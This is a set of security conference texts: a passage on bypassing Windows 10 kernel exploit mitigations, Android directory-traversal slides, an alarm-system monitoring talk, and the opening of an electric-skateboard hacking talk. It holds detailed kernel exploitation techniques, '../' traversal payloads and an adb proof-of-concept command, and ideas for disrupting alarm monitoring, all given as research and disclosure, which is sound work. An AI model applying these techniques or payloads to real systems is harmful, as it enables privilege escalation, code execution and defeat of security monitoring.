8 https://www.coresecurity.com/blog/getting-physical-extreme-abuse-of-intel-based-paging-systems-part-3-windows-
hals-heap
8
Windows 10 1607 Mitigations
Windows 10 Anniversary Update, which is also called Windows 10 1607 introduced additional mitigations
against kernel exploitation. First, the base address of Page Tables is randomized on startup, making the
simple translation of memory address to Page Table Entry impossible9. This mitigates the creation of
executable kernel-mode memory in many kernel exploits.
Next the kernel-mode address of GDI objects in the GdiSharedHandleTable were removed. This means that
it is no longer possible to use this method to locate the kernel-mode address of the Surface objects, which
in turn means that it is not possible to overwrite the size of a Surface object, breaking the bitmap kernel-
mode read and write primitive.
Finally, the strName field of a tagWND object must contain a pointer which is inside the Desktop Heap
when being used by InternalGetWindowText and NtUserDefSetText10. This limits it usage since it can no
longer be used to read and write at arbitrary kernel-mode address.
Revival of Kernel Read and Write Primitives
This section goes into the mitigations which break the kernel-mode read and write primitives. The first
primitive to be examined is the bitmap primitive. The issue to be resolved is how to find the kernel-mode
address of the Surface object. If the Surface object has a size of 0x1000 or larger it is in the Large Paged
Pool. Furthermore, if the Surface object has a size of exactly 0x1000 the Surface objects will be allocated to
individual memory pages.
Allocating many Surface objects of size 0x1000 will cause them to be allocated to consecutive memory
pages. This makes sure that locating one Surface object will reveal several Surface objects, which is needed
for the kernel-mode read and write primitive. The Large Paged Pool base address is randomized on startup,
which requires a kernel address leak.
Inspecting the Win32ThreadInfo field of the TEB shows
It turns out the pointer is exactly the address leak we need, since the base address of the Large Paged Pool
can be found from it by removing the lower bits. If very large Surface objects are created they will give a
predictable offset from the base address, this may be done as seen below
9 https://www.blackhat.com/docs/us-16/materials/us-16-Weston-Windows-10-Mitigation-Improvements.pdf
10 https://blogs.technet.microsoft.com/mmpc/2017/01/13/hardening-windows-10-with-zero-day-exploit-mitigations/
9
Using the static offset 0x16300000 will turn the Win32ThreadInfo pointer into an information leak of the
Surface object as shown below
Inspecting the memory address given by the leakPool function after allocating the large Surface objects
shows
While this does point into the Surface object, it is only the data content of the object. It turns out that it will
almost always be the second Surface object, if that is deleted and the freed memory space is reallocated by
Surface objects which take up exactly 0x1000 bytes. This is done by allocating close to 10000 Surface
objects as seen below
Inspecting the memory address given by the address leak will now reveal a Surface object as seen below
10
By exploiting a Write-Where-What vulnerability the size of the Surface can be modified since the size is now
at a predictable address.
The second issue is the mitigation of the tagWND kernel-mode read and write primitive. The strName
pointer of tagWND can only point inside the Desktop Heap when it is used through InternalGetWindowText
and NtUserDefSetText. This limitation is enforced by a new function called DesktopVerifyHeapPointer as
seen below
The strName pointer which is in RDX is compared with the base address of the Desktop Heap as well as the
maximum address of the Desktop Heap. If either of these comparisons fail a BugCheck occur. While these
checks cannot be avoided the Desktop Heap addresses come from a tagDESKTOP object. The pointer for
the tagDESKTOP object is never validated and is taken from the tagWND object. The structure of the
tagWND concerning the tagDESKTOP is seen below
11
The tagDESKTOP object used in the comparison is taken from offset 0x18 of the tagWND object. When
SetWindowLongPtr is used to modify the strName pointer, it is also possible to modify the tagDESKTOP
pointer. This allows for creating a fake tagDESKTOP object as seen below
This allows the exploit to supply a fake Desktop Heap base and maximum address which is just below and
above the pointer dereferenced by strName. This can be implemented as shown below
Using the modification discussed in this section allows the continued use of both the bitmap and the
tagWND kernel-mode read and write primitives.
12
Windows 10 1703 Mitigations
Windows 10 Creators Update or Windows 10 1703 introduce further mitigations against kernel
exploitation. The first mitigation is directed against the tagWND kernel-mode read and write primitive. This
is performed in two ways, first the UserHandleTable from the gSharedInfo structure in User32.dll is
changed. The previous kernel-mode addresses of all objects in the Desktop Heap is removed as seen below.
First the Windows 10 1607 UserHandleTable is shown
Then for Windows 10 1703
Like the removal of kernel-mode addresses in GdiSharedHandleTable in Windows 10 1607, this removal of
kernel-mode addresses in UserHandleTable removes the possibility of locating the tagWND object. The
second change is modification of SetWindowLongPtr, any ExtraBytes written are no longer located in
kernel-mode. As shown below the ExtraBytes pointer is taken at offset 0x180 from the beginning of the
tagWND object.
Inspecting registers at the point of write shows the value in R14 of 0xFFFFF78000000000 to be written to
the address in RCX, which is an address in user-mode
13
This clearly breaks the primitive since the strName field of the second tagWND can no longer be modified.
There are two additional changes in Creators Update, the first, which is a minor change, modifies the size of
the Surface object header. The header is increased by 8 bytes, which must be considered, else the
allocation alignment fails. The second is the randomization of the HAL Heap, this means that a pointer into
ntoskrnl.exe can no longer be found at the address 0xFFFFFFFFFD00448.
14
Revival of Kernel Read and Write Primitives Take 2
With the changes in Windows 10 Creators Update, both kernel-mode read and write primitives break,
however the changes to the bitmap primitive are minimal and may be rectified in a matter of minutes by
simple decreasing the size of each bitmap to ensure it takes of 0x1000 bytes. The changes for the tagWND
kernel-mode read and write primitive are much more substantial.
The Win32ClientInfo structure from the TEB has also been modified, previously offset 0x28 of the structure
was the ulClientDelta, which describes the delta between the user-mode mapping and the actual Desktop
Heap. Now the contents are different:
A user-mode pointer has taken its place, inspecting that pointer reveals it to be the start of the user-mode
mapping directly, which can be seen below:
In this example, the content of the two memory areas are the same, and that the Desktop Heap starts at
0xFFFFBD2540800000. While the UserHandleTable is removed and the metadata to perform a search for
the handle has been removed, the actual data is still present through the user-mode mapping. By
performing a manual search in the user-mode mapping it is possible to locate the handle and from that
calculate the kernel-mode address. First the user-mapping is found and the delta between it and the real
Desktop Heap as seen below.
Next the kernel-mode address of the tagWND object can be located from the handle:
15
This overcomes the first part of the mitigation introduced in Creators Update. While the address of the
tagWND object can be found, it still does not solve all the problems, since SetWindowLongPtr cannot
modify the strName of the following tagWND object, it is still not possible to perform read and write
operations of arbitrary kernel memory.
The size of ExtraBytes for a tagWND object denoted by cbWndExtra is set when the window class is
registered by the API RegisterClassEx. While creating the WNDCLASSEX structure used by RegisterClassEx
another field called cbClsExtra is noted as seen below
This field defines the size of ExtraBytes for the tagCLS object which is associated with a tagWND object. The
tagCLS object is also allocated to the Desktop Heap and registering the class just prior to allocating the
tagWND makes the tagCLS object to be allocated just before the tagWND object. Allocating another
tagWND object after that brings about a layout as seen below
By overwriting the cbClsExtra field of the tagCLS object instead of the cbWndExtra field of the tagWND1
object we obtain an analogous situation to before. Using the API SetClassLongPtr instead of
SetWindowLongPtr allows for modification of the ExtraBytes of the tagCLS object. This API has not been
modified and still writes its ExtraBytes to the Desktop Heap, which once again allows for modifying the
strName field of tagWND2.
tagCLS
tagWND2
tagWND1
16
An arbitrary write function can be implemented as shown below
A similar arbitrary read primitive can be created as well, thus completely bypassing the mitigations
introduced in Creators Update against kernel-mode read and write primitives.
17
Kernel ASLR Bypass
The mitigations introduced in Windows 10 Anniversary Update and Creators Update have eliminated all
publicly known leaks of kernel drivers. Often kernel-mode information leak vulnerabilities are found, but
these are patched by Microsoft, of more interest are the kernel driver information leaks which are due to
design issues. The last two known KASLR bypasses were due to the non-randomization of the HAL Heap and
the SIDT assembly instruction, both have been mitigated in Windows 10 Creators Update and Anniversary
Update respectively.
Often kernel driver memory addresses are needed to complete exploits, so discovering new design issues
which lead to kernel driver information leaks are needed. The approach used is to make KASLR bypasses
which relate to the specific kernel-mode read primitive. So, one KASLR bypass is created for the bitmap
primitive and one for the tagWND primitive.
The first one to be discussed is the one related to the bitmap primitive. Looking at the kernel-mode Surface
object in the structures reversed engineered from Windows XP and written on REACTOS shows the Surface
object to have the following elements
Reading the description of the field called hdev yields
This gives the question of what is the PDEVOBJ, luckily that structure is also given on REACTOS and contains
18
The fields of type PFN are function pointers and will give us a kernel pointer. The method for leaking is then
to read the hdev field and use that to read out the function pointer. Inspecting the Surface object in
memory shows the value of hdev to be empty
Creating the bitmap object with the CreateBitmap API does not populate the hdev field, however other
API’s exist to create bitmaps. Using the CreateCompatibleBitmap API also creates a bitmap and a kernel-
mode Surface object, inspecting that object in memory shows it to contain a valid hdev pointer
Using this pointer and dereferencing offset 0x6F0 gives the kernel-mode address of DrvSynchronizeSurface
in the kernel driver cdd.dll.
19
To leverage this, the following method is employed. First locate the handle to the bitmap which has its
Surface object at an offset 0x3000 bytes past the one found with the pool leak. Then free that Surface
object by destroying the bitmap and reallocate multiple bitmap objects using the CreateCompatibleBitmap
API. This is implemented below
The hdev pointer is then at offset 0x3030 from the pool leak, which in turn gives the pointer to
DrvSynchronizeSurface. DrvSynchronizeSurface contains a call to the function
ExEnterCriticalRegionAndAcquireFastMutexUnsafe in ntoskrnl.exe at offset 0x2B as shown below
From this pointer into ntoskrnl.exe it is possible to find the base address by checking for the MZ header and
searching backwards 0x1000 bytes at a time until it is found. The complete ntosknl.exe base address leak
function is shown below
While the above explained KASLR bypass works best while used in conjunction with the bitmap read and
write primitive, the tagWND read and write primitive can also make use of a similar idea. By looking at
structures documented on REACTOS from Windows XP, the header of a tagWND object is a structure called
THRDESKHEAD, which contains another structure called THROBJHEAD, which in turn contains a pointer to a
structure called THREADINFO. This is shown below, first the tagWND structure header
20
Followed by the THRDESKHEAD and the THROBJHEAD
Finally, the header of the THREADINFO structure, which contains a structure called W32THREAD
The W32THREAD structure contains a pointer to the KTHREAD object as its first entry
While this is a lot of structure transversal of very old documented structures it is worth noticing that even
in Windows 10 Creators Update the KTHREAD contains a pointer into ntoskrnl.exe at offset 0x2A8. Thus
given the kernel-mode address of a tagWND object it is possible to gain a pointer to ntoskrnl.exe. By
translating the 32-bit Windows XP structures to 64-bit Windows 10 and inspecting memory it becomes
clear that dereferencing offset 0x10 of the tagWND object gives the pointer to the THREADINFO object.
Dereferencing that pointer gives the address of the KTHREAD, this is shown in memory below
21
It is possible to wrap this KASLR bypass in a single function, where the base address of ntoskrnl.exe is found
from the pointer into notoskrnl.exe in the same fashion as explained for the bitmap primitive.
22
Dynamic Function Location
In the following sections, it becomes important to locate the address of specific kernel driver functions,
while this could be done using static offsets from the header, this might not work across patches. A better
method would be to locate the function address dynamically using the kernel-mode read primitive.
The read primitives given so far only read out 8 bytes, but both the bitmap and the tagWND primitive can
be modified to read out any given size buffer. For the bitmap primitive this depends on the size of the
bitmap, which can be modified allowing for arbitrary reading size. The arbitrary size bitmap read primitive
is shown below
The only difference is the modification of the size values and the size of the data buffer to retrieve in the
final GetBitmapBits call. This one read primitive will dump the entire kernel driver, or the relevant part of it
into a buffer ready for searching inside user-mode memory.
The next idea is using a simple hash value of the function to locate it. The hash function used is simply
adding four QWORDS offset by 4 bytes together. While no proof of collision avoidance will be made, it has
turned out to be very effective. The final location function is shown below
23
Page Table Randomization
As previously mentioned the most common way of achieving executable kernel memory in Windows 10 is
by modifying the Page Table Entry of the memory page where the shellcode is located. Prior to Windows 10
Anniversary Update the Page Table Entry of a given page can be found through the algorithm shown below
In Windows 10 Anniversary Update and Creators Update the base address value of 0xFFFFF68000000000
has been randomized. This makes it impossible to simply calculate the Page Table Entry address for a given
memory page. While the base address has been randomized the kernel must still look up Page Table Entries
often, so kernel-mode API’s for this must exist. One example of this is MiGetPteAddress in ntoskrnl.exe.
Opening MiGetPteAddress in Ida Pro shows that the base address is not randomized
However, looking at it in memory shows the randomized base address
The idea is to find the address of MiGetPteAddress and read the randomized base address and use that
instead of the previously static value. The first part can be achieved by leveraging the read primitive and
locating the function address as described in the previous section. Having found the address of
MiGetPteAddress, the base address of the Page Table Entries are at an offset of 0x13 bytes. This can be
implemented as shown below
24
Next the address of the Page Table Entry of a given memory page can be found by the original method, only
using the randomized base address
This may also be verified directly in memory, as shown in the example below for the memory address
0xFFFFF78000000000
If the shellcode is written to offset 0x800 of the KUSER_SHARED_DATA structure, which is still static in
memory at the address 0xFFFFF78000000000, the updated method can be used to locate the Page Table
Entry. Then the memory protection can be modified by overwriting the Page Table Entry to remove the NX
bit, which is the highest bit.
Execution of the shellcode can be performed with known methods like overwriting the HalDispatchTable
and then calling the user-mode API NtQueryIntervalProfile
This technique de-randomizes the Page Tables and brings back the Page Table Entry overwrite technique.
25
Executable Memory Allocation
While modifying the Page Table Entry of an arbitrary memory page containing shellcode works, the method
from Windows 7 of directly allocating executable kernel memory is neat. This section explains how this is
still possible to obtain on Windows 10 Creators Update.
Many kernel pool allocations are performed by the kernel driver function ExAllocatePoolWithTag in
ntoskrnl.exe. According to MSDN the function takes three arguments, the type of pool, size of the
allocation and a tag value.
Just as importantly on success the function returns the address of the new allocation to the caller. While
NonPagedPoolNX is the new standard pool type for many allocations, the following pool types exist even
on Windows 10.
Specifying the value 0 as pool type will force an allocation of pool memory which is readable, writable and
executable. Calling this function from user-mode can be done in the same way as shellcode memory pages
are through NtQueryIntervalProfile. Sadly, to reach the overwritten entry in the HalDispatchTable specific
arguments must be supplied, rendering the call to ExAllocatePoolWithTag invalid.
Another way of calling ExAllocatePoolWithTag is needed, the technique used by overwriting the
HalDispatchTable could work for other user-mode functions if different function tables can be found. One
such function table is gDxgkInterface which is in the kernel driver win32kbase.sys, the start of the function
table is seen below
26
Many functions use this function table, the requirements for the function we need is the following; it needs
to be callable from user-mode, it must allow at least three user controlled arguments without modifications
and it must be called rarely by the operating system or background processes to avoid usage after we
overwrite the function table.
One function which matches these requirements is the user-mode function NtGdiDdDDICreateAllocation,
which in dxgkrnl is called DxgkCreateAllocation and seen above at offset 0x68 in the function table. The
user-mode function is not exportable, but only consists of a system call in win32u.dll. It is possible to
implement the system call directly when using it, this is shown below
When the system call is invoked it gets transferred to the kernel driver win32k.sys which dispatches it to
win32kfull.sys, which in turn dispatches it to win32kbase.sys. In win32kbase.sys the function table
gDxgkInterface is referenced and a call is made to offset 0x68. The execution flow can be seen below
All the involved drivers only implement very thin trampolines around the system call. The consequence is
that no arguments are modified, which was the second requirement for. When performing testing an
overwrite of the DxgkCreateAllocation function pointer does not cause any unintended problems due to
additional calls, which was the third and final requirements.
To use NtGdiDdDDICreateAllocation and the gDxgkInterface function table, the latter must be writable.
Inspecting the Page Table Entry is seen below
27
While the content of the Page Table Entry may be hard to interpret directly, it can be printed according to
the structure _MMPTE_HARDWARE and shows the function table to be writable
In principle, all the elements needed are in place, the idea is to overwrite the function pointer
DxgkCreateAllocation at offset 0x68 in the function table gDxgkInterface with ExAllocatePoolWithTag
followed by a call to NtGdiDdDDICreateAllocation specifying NonPagedPoolExecute as pool type. The
remaining practical issue is locating the gDxgkInterface function table. We have several KASLR bypasses to
locate the base address of ntoskrnl.exe, but so far, no ways to find other drivers.
The structure PsLoadedModuleList in ntoskrnl.exe contains the base address of all loaded kernel modules,
thus finding other kernel drivers in memory is possible. The structure of the doubly-link list given by
PsLoadedModuleList is shown below
Thus, iterating through the linked list until the correct name in offset 0x60 is found will allow for reading
the base address at offset 0x30.
Locating the PsLoadedModuleList structure directly using the previously mentioned algorithm to find
function addresses does not work since this is not a function, but just a pointer. A lot of functions use the
structure so it is possible to find the pointer from one of these.
KeCapturePersistentThreadState in ntoskrnl.exe uses PsLoadedModuleList which can be seen below
28
It is possible to use the function finding algorithm to locate KeCapturePersistentThreadState and then
dereference PsLoadedModuleList, which in turn will give the base address of any loaded kernel module.
While getting the base address of win32kbase.sys is possible, the problem of locating the function table
gDxgkInterface is the same as finding the PsLoadedModuleList pointer. A better approach is finding a
function which uses the function table and then read the address of gDxgkInterface from that.
One viable function is DrvOcclusionStateChangeNotify in the kernel driver win32kfull.sys, which has the
disassembly shown below
From this function pointer, the function table can be found, which allows for overwriting the
DxgkCreateAllocation function pointer with ExAllocatePoolWithTag.
29
Following the pool allocation, the shellcode can be written to it using the kernel-mode write primitive.
Finally, the gDxgkInterface function table can be overwritten again with the pool address followed by an
additional call to NtGdiDdDDICreateAllocation.
The arguments for the NtGdiDdDDICreateAllocation function call is the address of DxgkCreateAllocation
and its original place in the function table. This allows the shellcode to restore the function pointers in the
function table, thus preventing any future calls to NtGdiDdDDICreateAllocation crashing the operating
system. | pdf |
General ways to find and exploit
directory traversals on Android
Xiang Xiaobo (Elphet) @ 360 Alpha Team
About Us
• Alpha Team @360 Security
• 100+ Android vulnerabilities（Google Qualcomm etc）
• Won the highest reward in the history of the ASR program.
• 5 Pwn contest winner
• Pwn2Own Mobile 2015( Nexus 6)
• Pwn0Rama 2016 (Nexus 6p)
• Pwn2Own 2016(Chrome)
• PwnFest 2016(Pixel)
• Pwn2Own Mobile 2017(Galaxy S8）
Agenda
• Concept and Impacts
• Where and how to find directory traversal issues
• Tricks for exploiting
• How to fix
What is directory traversal
• A controllable or partially controllable file name.
• Lack of file name canonicalization
• Can be exploited with a malfored filename:
• ../../../../../../data/data/com.vulnerable.app/files/plugin.so
Impacts of traversal
• Arbitrary file reading via traversal
• Information leakage ( token, user info, etc. )
• Clone Attack
• Arbitrary file Writing
• Phishing
• Denial of Service
• Account Replacement
• Arbitrary code execution
• Clone Attack
Agenda
• Concept and Impacts
• Where and how to find directory traversal issues
• Tricks for exploiting
• How to fix
Where to find Directory traversal
• Opening file in exported content provider
• Attachment saving in mailbox application
• Manually decompressing archives in Web-browser/File Manager
• Downloading and unzipping resources during running
• Unsafe unzipping files in the SD Card
• Transferring files in Instant Messaging Apps
• Syncing files in Cloud Drive Apps
• Backup and restore
• …
Directory traversal in exported Content
provider
• exported:true
• Overrided openFile method in the content provider
• Vulnerable code snippet
• PoC:
• adb shell content open
content://mydownloadcontentprovider/..%2f..%2f..%2f..%2f..%2fsdcard%2freadme.t
xt
Attachment saving in mailbox apps
• There are two fields that must be
canonicalized
• Filename1 specifies the attachment
name for gmail
• Filename2 specifies the attachment
name for outlook
• We can specify these fields with a
python script
Attachment saving in mailbox apps
Zip decompress in web browser or file
manager apps
• Steps to verify:
• Download a malformed zip file/ store a malformed zip file on the sdcard
• Manually trigger the decompress operation.
• Generate a malformed zip file:
• case:
• CVE-2018- 8084 Directory traversal in Sogou Browser
Downloaded zip resources
• Vulnerable
• Static analysis or scanners
• grep --include *.smali -r zipEntry .
• Controllable
• Attack surfaces
• Insecure Communication / Insecure Storage / Exported Components
• Static analysis
• Recursively find the caller of target function
• Dynamic analysis
• Hooking
• MITM
Hooking
• Hooking File.exists() to
intercept all reading
actions
• Filter files that end with
“.zip”
• Print the stack backtrace
to see whether it is
controllable
Directory Traversal in Instant Messaging Apps
• Steps to find directory traversals in IM
• send a file with malformed filename to the target
• the target clicks or downloads the file to trigger a directory traversal
• How can we send a malformed file
• MITM
• Hooking
• Repackaging or recompiling
Possibility of MITM
• Example
Base64.decode( x-obs-parms):
Case via hooking
• CVE-2018-10067 Directory travsesal in QQ series
products
• We can modify the filename via hooking during
sending
Case via repackaging or recompling
• CVE-2017-17715 Directory
travsersal in Telegram Messenger
( Discovered by Natalie)
• Didn’t canonicalize the filename
during downloading document
• How to specify a malformed file
name during sending file
• Repackaging or recompiling
Agenda
• Concept and Impacts
• Where and how to find directory traversal issues
• Tricks for exploiting
• Conclusion
Categories of directory traversal
• Be able to read arbitrary files
• Logic bugs in exported components
• Be able to Overwrite arbitrary files directly
• Path traversal in unzip
• Sync directory of a Cloud Apps
• Be able to write, but cannot overwrite files
• Download a document and rename if file already exists in Document Apps
• Download an attachment and rename if file already exists in Mailbox
• Download an arbitrary file and rename if file already exists in Instant
Messaging Apps
Tricks for exploiting
• Files to be used by an application
• General Files
• SharedPreference in /data/data/<package name>/shared_prefs/<sp>.xml
• Sqlite Databases in /data/data/<package name>/databases/<db>.db
• Plugins
• shared libraries/ dex / jar / apk
• pre download, dynamically load and unload
• Hot patches
• Fix critical vulnerabilities by pushing emergency patches
• Combine with multi-dex mechanism
• Executables
• eg. watch_server
CVE-2018-8084 Directory traversal in Sogou
Browser
• Allows overwriting files
directly
• there’re so many shared
libraries exists in
/data/data/sogou.mobile.
explorer/
• we overwrites a proper
one to get a shell
• libvplayer.so
CVE-2018-5722 directory traversal in Tencent
QQ Mail
• Directory traversal in Attachment downloads
• Vulnerable when logging in with Gmail or Gmalified address (Hotmail/Yahoo)
• Controllable file name of attachment
• lacking of cananicalization
• Dangerous hot patches with multi-dex
• Using File.listFiles(DexFilter) to find all dex files in a certain directory and load
them directly
• Exploit
• /data/data/<package name>/app_moai_patch/a.dex
• Smali injection to classes to be load
CVE-2018-5722 directory traversal in Tencent
QQ Mail
• Directory traversal in Attachment
downloads
• Vulnerable when logging in with Gmail
or Gmalified address (Hotmail/Yahoo)
• Controllable file name of attachment
• lacking of canonicalization
• Dangerous hot patches with multi-
dex
• Using File.listFiles(DexFilter) to find all
dex files in a certain directory and load
them directly
CVE-2018-5192 Directory travseral in Netease
Mail Master
• Directory traversal in Attachment downloading
• Similar to directory travseral in QQ Mail
• Vulnerable when logging in with Gmail or Gmalified address (Hotmail/Yahoo)
• Controllable file name of attachment
• lacking of canonicalization
• Dangerous advertisement plugin loading and updating
• It loads finalcore.jar after launch
• Update finalcore.jar by rename newcore.jar to finalcore.jar if exists
• Exploit:
• We can place “newcore.jar”, and wait for reloading
CVE-2017-17715 Directory traversal in
Telegram (Discovered by Natalie)
• Directory traversal in Downloading
documents
• Cannot overwrite existing files.
• Controllable file name of documents
• lacking of canonicalization when downloading
• The implementation of tgnet module is
dangerous
• Exploit1:
• We can place tgnet.dat.bak file and wait for
loading
• Results in a crash / possibility of session
hijacking
CVE-2017-17715 Directory traversal in
Telegram
• Exploit #2
• The implementation in AOSP
also has backup file restore
logic
• This is a general way to
overwrite files if we can not
overwrite files directly
CVE-2017-17715 Directory traversal in
Telegram
• Exploit #2
• What can we overwrite
• tgnet.dat
• userconfing.xml
• What can we do
• Account replacing
• Session hijack
• Device binding and force
logout
SharePreferences
• Items we could hijack:
• Download URLs
• plugins
• Patches
• new APKs
• Version code
• Update schedule
• Update file hash
• Servers
• Server IP an Port
• DNS server
• Proxy server
• …
Agenda
• Concept and Impacts
• Where and how to find directory traversal issues
• Tricks for exploiting
• How to fix
How to Fix
• Rename or concat the
downloaded files with a hash
• Always canonicalize the user-
controllable filename
• Avoid reading important files
on the SD card
• Check the integrity of
important files
• …
THANKS
Q&A | pdf |
The Completion Backwards Principle
Bringing Layer 0 Issues To Layer 3
● geoffrey
● Defcon 0x0F
Alarm Systems
● Fire
– Actively detects a fire
– Alerts inhabitants, and /or authorities
● Burglar
– Detects intrusion into the facility premises
– Alerts inhabitants, and /or authorities
– Often co-exists with a Fire alarm system
Anatomy of a Burglar Alarm
● Basic Topology
– Panel
– Sensors
● Motion
● Glass Break
● Door Triggers
● Smoke/Fire
– Monitoring Method
● What good is an unwatched alarm system?
(D)Evolution of Monitoring
● Leased Lines
– Dedicated & Expensive
● POTS Lines
– Common in all buildings & Cheap
● Cellular/RF
– Cheaper & Subject to outages
● Internet
– Lowest cost
– Subject to whims of your ISP/Script Kiddies
Internet Monitoring Hardware
● DMP
– ICOM/ICOM-E
● Honeywell
– AlarmNet-i(7845i)
DMP ICOM-E
● Choose udp or tcp
– Default protocol is udp
● Port is Configurable
– Default value is 2001
● AES is only available algorithm
– 128 bit
● POTS Dialer if no Central Station contact
Honeywell AlarmNet-i
● Only uses tcp
● Port 54109
● Choice of encryption algorithm
– 256 bit AES (UL Certified)
– Blowfish* (Factory Default)
● POTS Dialer if no Central Station contact
● No open ports; ether identifies as Ademco
IP Reporting Characteristics
● DMP
– Uses port 2001
● Port is configurable
– Defaults to udp
– Reports to CSC-1R
● AlarmNet-i
– Uses port 54109
● Port is not a configurable option
– Only uses tcp for network traffic
– Reports to AlarmNet 7810iR
AlarmNet-i Traffic
● AlarmNet-i => 7810iR TCP [SYN] Seq=0 Len=0 MSS=1460
● 7810iR => AlarmNet-i TCP [SYN, ACK] Seq=0 Ack=1 Win=5840 Len=0 MSS=1380
● AlarmNet-i => 7810iR TCP [ACK] Seq=1 Ack=1 Win=5840 Len=0
● AlarmNet-i => 7810iR TCP [PSH, ACK] Seq=1 Ack=1 Win=5840 Len=68
● 7810iR => AlarmNet-i TCP [PSH, ACK] Seq=1 Ack=69 Win=5772 Len=52
● AlarmNet-i => 7810iR TCP [RST, ACK] Seq=69 Ack=53 Win=5788 Len=0
●
● AlarmNet-i => 7810iR TCP [SYN] Seq=0 Len=0 MSS=1460
● 7810iR => AlarmNet-i TCP [SYN, ACK] Seq=0 Ack=1 Win=5840 Len=0 MSS=1380
● AlarmNet-i => 7810iR TCP [ACK] Seq=1 Ack=1 Win=5840 len=0
● AlarmNet-i => 7810iR TCP [PSH, ACK] Seq=1 Ack=1 Win=5840 Len=68
● 7810iR => AlarmNet-i TCP [PSH, ACK] Seq=1 Ack=69 Win=5772 Len=68
● AlarmNet-i => 7810iR TCP [RST, ACK] Seq=69 Ack=69 Win=5772 Len=0
ICOM-E Traffic
● ICOM-E => SCS-1R TCP [SYN] Seq=0 Len=0 MSS=1408
● SCS-1R => ICOM-E TCP [SYN, ACK] Seq=0 Ack=1 Win=299 Len=0 MSS=260
● ICOM-E => SCS-1R TCP [PSH, ACK] Seq=1 Ack=1 Win=2816 Len=51
● SCS-1R => ICOM-E TCP [ACK] Seq=1 Ack=52 Win=299 Len=0
● SCS-1R => ICOM-E TCP [PSH, ACK] Seq=1 Ack=52 win=299 Len=35
● ICOM-E => SCS-1R TCP [FIN, ACK] Seq=52 Ack=36 Win=2816 Len=0
● SCS-1R => ICOM-E TCP [ACK] Seq=36 Ack=53 Win=299 Len=0
● SCS-1R => ICOM-E TCP [FIN, ACK] Seq=36 Ack=53 Win=299 Len=0
● ICOM-E => SCS-1R TCP [ACK] Seq=53 Ack=37 Win=2815 Len=0
●
● ICOM-E => SCS-1R TCP [SYN] Seq=0 Len=0 MSS=1408
● SCS-1R => ICOM-E TCP [SYN, ACK] Seq=0 Ack=1 Win=299 Len=0 MSS=260
● ICOM-E => SCS-1R TCP [PSH, ACK] Seq=1 Ack=1 Win=2816 Len=51
● SCS-1R=> ICOM-E TCP [ACK] Seq=1 Ack=52 Win=299 Len=0
● SCS-1R => ICOM-E TCP [PSH, ACK] Seq=1 Ack=52 Win=299 Len=19
● ICOM-E => SCS-1R TCP [ACK] Seq=52 Ack=20 Win=2816 Len=0
● ICOM-E => SCS-1R TCP [FIN, ACK] Seq=52 Ack=20 Win=2816 Len=0
● SCS-1R => ICOM-E TCP [ACK] Seq=20 Ack=53 Win=299 Len=0
● SCS-1R => ICOM-E TCP [FIN, ACK] Seq=20 Ack=53 Win=299 Len=0
● ICOM-E => SCS-1R TCP [ACK] Seq=53 Ack=21 Win=2815 Len=0
Deployment Considerations
● Network traffic needs close monitoring
– Worms may adversely affect alarm system
● Monitor System and Main Panel Config
– Dialer lines may violate U.S. Govt. rules
● DCID 6/9 Annex B
– Defaults (DMP) allow config changes via LAN
● Oversee install and config of panel/device(s)
– LAN connectivity means access for users
● Need segregation
– Best to pull in separate ISP line & physically isolate
Deployment Considerations
● Network QOS now important!!!
– Chatty boxes retard system monitoring
– Routing issues adversely affect monitoring
● Disaffected youth talk to your alarm
– The Internet is an undesirable neighborhood
● Alarm system now network node
– Flashlight luggers must befriend black t-shirts
Disruption Scenarios
● No (apparent) attack surface
– Speak IP
– What happens if we flood the network?
● Depends on your reporting window
– What happens if we send repeated RSTs?
– Can we poison arp?
● Haven't had luck with this, as of yet
– DNS poisoning doesn't seem to matter
● Or does it?
● Systems only use IPs
One Solution
● Disclaimer
– Not endorsed by U.S. Government
● Based upon
– Common sense
– My own experience
– Purloined Install Guides
My Solution
● Brought in separate DSL line
– Different ISP from our Primary
– DSL account is in individual's name
– Basic Internet Service
● Bespoke embedded firewall
– Soekris net4801
● Moving to rack mountable Soekris net5501s
– Linux System built from sources
Why not COTS firewall
● Potentially less cost
● More control over configuration
– Standardize platform/hardware across sites
● Unusual choices
– Logger is syslog-ng
– Include Logwatch and Logrotate
– Include Ssmtp to move logs
Firewall Issues
● How do we safely monitor logs?
– logger over stunnel to central logserver
– Logwatch & Cron use Ssmtp to email reports
● How often do we patch system?
– Now controlled by staff
– Patches only update code we want patched
● No unwanted dependencies
● How to protect the firewall itself?
– Customize ruleset as needed
– Include Inline Snort functionality?
Future
● Work with community members
– Develop traffic signatures to identify devices
● Hoping to identify MiTM attack possibilities
– Testing effectiveness of encryption usage
● Crypto is not my forte
● System appears to use a timestamp for iv
– Discuss possibility of IPSec usage
● In the preliminary stages only
– Releasing firewall codebase
● All suggestions for improvement are welcome
● http://chickendance.deussexmachina.org/
Questions? | pdf |
Hacking electric skateboards:
vehicle research for mortals
Richo Healey & Mike Ryan
@mpeg4codec / Hacking Electric Skateboards / @rich0H
Who are these jerks anyway
‣ richo
‣ Computer Jerk
‣ @rich0H
‣ Duck Enthusiast
‣ Ran WrongIslandCon
‣ mike
‣ Bluetooth Guy
‣ @mpeg4codec
‣ Owner/Operator of
conscience (sometimes)
@mpeg4codec / Hacking Electric Skateboards / @rich0H
Why buy an $nK skateboard?
‣ Lightweight
‣ (relatively) inexpensive
‣ .. maybe wanted on the hype train early
@mpeg4codec / Hacking Electric Skateboards / @rich0H
Why buy an $nK skateboard?
‣ Lightweight
‣ (relatively) inexpensive
‣ .. maybe wanted on the hype train early
‣ Maybe to hax it
@mpeg4codec / Hacking Electric Skateboards / @rich0H
Why hax a $1k skateboard?
‣ Because it’s there
‣ Vehicle research is cool
‣ But not all of us can afford to brick a car
‣ Figured we might be able to illustrate a point about
the state of security research
@mpeg4codec / Hacking Electric Skateboards / @rich0H
The boards
‣ Boosted
@mpeg4codec / Hacking Electric Skateboards / @rich0H
The boards
‣ Evolve
@mpeg4codec / Hacking Electric Skateboards / @rich0H
The boards
‣ Yuneec E-go
@mpeg4codec / Hacking Electric Skateboards / @rich0H
Maybe you’ve spotted the design trend here
@mpeg4codec / Hacking Electric Skateboards / @rich0H
Hope yer wearin’ yer lernin’ b00tz
Agenda
‣ Boosted
‣ Bluetooth GATT
‣ Jammers
‣
PyBT
‣ Evolve
‣ … bluetooth?
‣ Weird RF protocols
‣ E-go
‣ … wifi?!
‣ Boosted (Redux)
‣ Fiiiiiirmware!
@mpeg4codec / Hacking Electric Skateboards / @rich0H
Or whatever
Right so like hacking
‣ Most of these boards use bluetooth
